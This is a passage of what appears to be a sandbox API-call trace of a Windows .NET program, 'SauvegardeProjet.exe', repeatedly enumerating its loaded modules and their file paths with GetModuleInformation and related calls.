hProcess=0x290, hModule=0x750c0000, lpmodinfo=0x274945c, cb=0xc | out: lpmodinfo=0x274945c*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0066.491] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.491] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x750c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0066.491] CoTaskMemFree (pv=0x4e7ba58) [0066.492] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.492] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x750c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0066.492] CoTaskMemFree (pv=0x4e7ba58) [0066.492] GetModuleInformation (in: hProcess=0x290, hModule=0x72500000, lpmodinfo=0x274b590, cb=0xc | out: lpmodinfo=0x274b590*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0066.494] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.494] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x72500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0066.495] CoTaskMemFree (pv=0x4e7ba58) [0066.495] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.495] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x72500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0066.495] CoTaskMemFree (pv=0x4e7ba58) [0066.495] GetModuleInformation (in: hProcess=0x290, hModule=0x75540000, lpmodinfo=0x274d738, cb=0xc | out: lpmodinfo=0x274d738*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0066.496] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.496] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75540000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0066.496] CoTaskMemFree (pv=0x4e7ba58) [0066.497] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.497] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75540000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0066.497] CoTaskMemFree (pv=0x4e7ba58) [0066.497] GetModuleInformation (in: hProcess=0x290, hModule=0x74d00000, lpmodinfo=0x274f83c, cb=0xc | out: lpmodinfo=0x274f83c*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0066.498] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.498] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74d00000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0066.498] CoTaskMemFree (pv=0x4e7ba58) [0066.498] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.498] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74d00000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0066.499] CoTaskMemFree (pv=0x4e7ba58) [0066.499] GetModuleInformation (in: hProcess=0x290, hModule=0x71b50000, lpmodinfo=0x2751948, cb=0xc | out: lpmodinfo=0x2751948*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0066.500] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.500] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71b50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0066.500] CoTaskMemFree (pv=0x4e7ba58) [0066.500] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.500] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71b50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0066.501] CoTaskMemFree (pv=0x4e7ba58) [0066.501] GetModuleInformation (in: hProcess=0x290, hModule=0x71430000, lpmodinfo=0x2753ae4, cb=0xc | out: lpmodinfo=0x2753ae4*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0066.502] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.502] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71430000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0066.502] CoTaskMemFree (pv=0x4e7ba58) [0066.502] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.502] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71430000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0066.503] CoTaskMemFree (pv=0x4e7ba58) [0066.503] GetModuleInformation (in: hProcess=0x290, hModule=0x74ef0000, lpmodinfo=0x2755ca0, cb=0xc | out: lpmodinfo=0x2755ca0*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0066.503] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.503] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ef0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0066.504] CoTaskMemFree (pv=0x4e7ba58) [0066.504] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.504] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ef0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0066.505] CoTaskMemFree (pv=0x4e7ba58) [0066.505] GetModuleInformation (in: hProcess=0x290, hModule=0x74e70000, lpmodinfo=0x2757e94, cb=0xc | out: lpmodinfo=0x2757e94*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0066.506] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.506] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e70000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0066.506] CoTaskMemFree (pv=0x4e7ba58) [0066.506] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.506] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e70000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0066.507] CoTaskMemFree (pv=0x4e7ba58) [0066.507] GetModuleInformation (in: hProcess=0x290, hModule=0x75f60000, lpmodinfo=0x2759fd4, cb=0xc | out: lpmodinfo=0x2759fd4*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0066.508] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.508] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75f60000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0066.508] CoTaskMemFree (pv=0x4e7ba58) [0066.508] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.508] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75f60000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0066.509] CoTaskMemFree (pv=0x4e7ba58) [0066.509] GetModuleInformation (in: hProcess=0x290, hModule=0x744a0000, lpmodinfo=0x275c0e8, cb=0xc | out: lpmodinfo=0x275c0e8*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0066.510] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.510] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x744a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0066.510] CoTaskMemFree (pv=0x4e7ba58) [0066.510] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.510] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x744a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0066.511] CoTaskMemFree (pv=0x4e7ba58) [0066.511] GetModuleInformation (in: hProcess=0x290, hModule=0x707d0000, lpmodinfo=0x275e2b4, cb=0xc | out: lpmodinfo=0x275e2b4*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0066.512] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.512] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x707d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0066.513] CoTaskMemFree (pv=0x4e7ba58) [0066.513] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.513] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x707d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0066.513] CoTaskMemFree (pv=0x4e7ba58) [0066.513] GetModuleInformation (in: hProcess=0x290, hModule=0x74e50000, lpmodinfo=0x27604a4, cb=0xc | out: lpmodinfo=0x27604a4*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0066.516] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.516] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0066.516] CoTaskMemFree (pv=0x4e7ba58) [0066.516] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.516] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0066.517] CoTaskMemFree (pv=0x4e7ba58) [0066.517] GetModuleInformation (in: hProcess=0x290, hModule=0x74460000, lpmodinfo=0x27626bc, cb=0xc | out: lpmodinfo=0x27626bc*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0066.518] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.518] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74460000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0066.519] CoTaskMemFree (pv=0x4e7ba58) [0066.519] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.519] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74460000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0066.519] CoTaskMemFree (pv=0x4e7ba58) [0066.519] GetModuleInformation (in: hProcess=0x290, hModule=0x743d0000, lpmodinfo=0x27647c8, cb=0xc | out: lpmodinfo=0x27647c8*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0066.520] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.520] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0066.521] CoTaskMemFree (pv=0x4e7ba58) [0066.521] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.521] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0066.522] CoTaskMemFree (pv=0x4e7ba58) [0066.522] GetModuleInformation (in: hProcess=0x290, hModule=0x743b0000, lpmodinfo=0x2766990, cb=0xc | out: lpmodinfo=0x2766990*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0066.522] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.523] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0066.523] CoTaskMemFree (pv=0x4e7ba58) [0066.523] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.523] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0066.524] CoTaskMemFree (pv=0x4e7ba58) [0066.524] GetModuleInformation (in: hProcess=0x290, hModule=0x742e0000, lpmodinfo=0x2768ae0, cb=0xc | out: lpmodinfo=0x2768ae0*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0066.525] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.525] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x742e0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0066.526] CoTaskMemFree (pv=0x4e7ba58) [0066.526] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.526] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x742e0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0066.526] CoTaskMemFree (pv=0x4e7ba58) [0066.527] GetModuleInformation (in: hProcess=0x290, hModule=0x74150000, lpmodinfo=0x276acdc, cb=0xc | out: lpmodinfo=0x276acdc*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0066.527] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.527] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74150000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0066.528] CoTaskMemFree (pv=0x4e7ba58) [0066.528] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.528] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74150000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0066.529] CoTaskMemFree (pv=0x4e7ba58) [0066.529] GetModuleInformation (in: hProcess=0x290, hModule=0x73c90000, lpmodinfo=0x276ce8c, cb=0xc | out: lpmodinfo=0x276ce8c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0066.530] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.530] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x73c90000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0066.531] CoTaskMemFree (pv=0x4e7ba58) [0066.531] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.531] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x73c90000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0066.532] CoTaskMemFree (pv=0x4e7ba58) [0066.532] GetModuleInformation (in: hProcess=0x290, hModule=0x74ce0000, lpmodinfo=0x276f054, cb=0xc | out: lpmodinfo=0x276f054*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0066.532] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.532] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0066.533] CoTaskMemFree (pv=0x4e7ba58) [0066.533] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.533] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0066.534] CoTaskMemFree (pv=0x4e7ba58) [0066.534] GetModuleInformation (in: hProcess=0x290, hModule=0x754b0000, lpmodinfo=0x2771160, cb=0xc | out: lpmodinfo=0x2771160*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0066.535] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.535] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x754b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0066.536] CoTaskMemFree (pv=0x4e7ba58) [0066.536] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.536] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x754b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0066.537] CoTaskMemFree (pv=0x4e7ba58) [0066.537] GetModuleInformation (in: hProcess=0x290, hModule=0x74050000, lpmodinfo=0x277326c, cb=0xc | out: lpmodinfo=0x277326c*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0066.537] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.538] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74050000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0066.538] CoTaskMemFree (pv=0x4e7ba58) [0066.538] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.538] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74050000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0066.539] CoTaskMemFree (pv=0x4e7ba58) [0066.539] GetModuleInformation (in: hProcess=0x290, hModule=0x76420000, lpmodinfo=0x2775390, cb=0xc | out: lpmodinfo=0x2775390*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0066.540] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.540] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76420000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0066.541] CoTaskMemFree (pv=0x4e7ba58) [0066.541] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.541] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76420000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0066.542] CoTaskMemFree (pv=0x4e7ba58) [0066.542] CloseHandle (hObject=0x290) returned 1 [0066.571] EnumProcessModules (in: hProcess=0x290, lphModule=0x274deb4, cb=0x100, lpcbNeeded=0x563cf30 | out: lphModule=0x274deb4, lpcbNeeded=0x563cf30) returned 1 [0066.572] GetModuleInformation (in: hProcess=0x290, hModule=0xea0000, lpmodinfo=0x274dff4, cb=0xc | out: lpmodinfo=0x274dff4*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0066.572] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.572] GetModuleBaseNameW (in: hProcess=0x290, hModule=0xea0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0066.572] CoTaskMemFree (pv=0x4e7ba58) [0066.572] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.572] GetModuleFileNameExW (in: hProcess=0x290, hModule=0xea0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0066.573] CoTaskMemFree (pv=0x4e7ba58) [0066.573] GetModuleInformation (in: hProcess=0x290, hModule=0x77850000, lpmodinfo=0x2750168, cb=0xc | out: lpmodinfo=0x2750168*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0066.573] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.573] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x77850000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0066.573] CoTaskMemFree (pv=0x4e7ba58) [0066.573] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.573] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x77850000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0066.573] CoTaskMemFree (pv=0x4e7ba58) [0066.573] GetModuleInformation (in: hProcess=0x290, hModule=0x75250000, lpmodinfo=0x275226c, cb=0xc | out: lpmodinfo=0x275226c*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0066.573] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.573] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75250000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0066.574] CoTaskMemFree (pv=0x4e7ba58) [0066.574] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.574] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75250000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0066.574] CoTaskMemFree (pv=0x4e7ba58) [0066.574] GetModuleInformation (in: hProcess=0x290, hModule=0x75a20000, lpmodinfo=0x2754378, cb=0xc | out: lpmodinfo=0x2754378*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0066.574] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.574] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75a20000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0066.574] CoTaskMemFree (pv=0x4e7ba58) [0066.574] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.574] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75a20000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0066.575] CoTaskMemFree (pv=0x4e7ba58) [0066.575] GetModuleInformation (in: hProcess=0x290, hModule=0x765f0000, lpmodinfo=0x275648c, cb=0xc | out: lpmodinfo=0x275648c*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0066.575] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.575] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x765f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0066.575] CoTaskMemFree (pv=0x4e7ba58) [0066.575] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.575] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x765f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0066.575] CoTaskMemFree (pv=0x4e7ba58) [0066.575] GetModuleInformation (in: hProcess=0x290, hModule=0x75b30000, lpmodinfo=0x27585d4, cb=0xc | out: lpmodinfo=0x27585d4*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0066.576] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.576] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75b30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0066.576] CoTaskMemFree (pv=0x4e7ba58) [0066.576] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.576] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75b30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0066.576] CoTaskMemFree (pv=0x4e7ba58) [0066.576] GetModuleInformation (in: hProcess=0x290, hModule=0x75e30000, lpmodinfo=0x275a6e8, cb=0xc | out: lpmodinfo=0x275a6e8*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0066.576] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.576] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75e30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0066.578] CoTaskMemFree (pv=0x4e7ba58) [0066.578] CoTaskMemAlloc (cb=0x804) returned 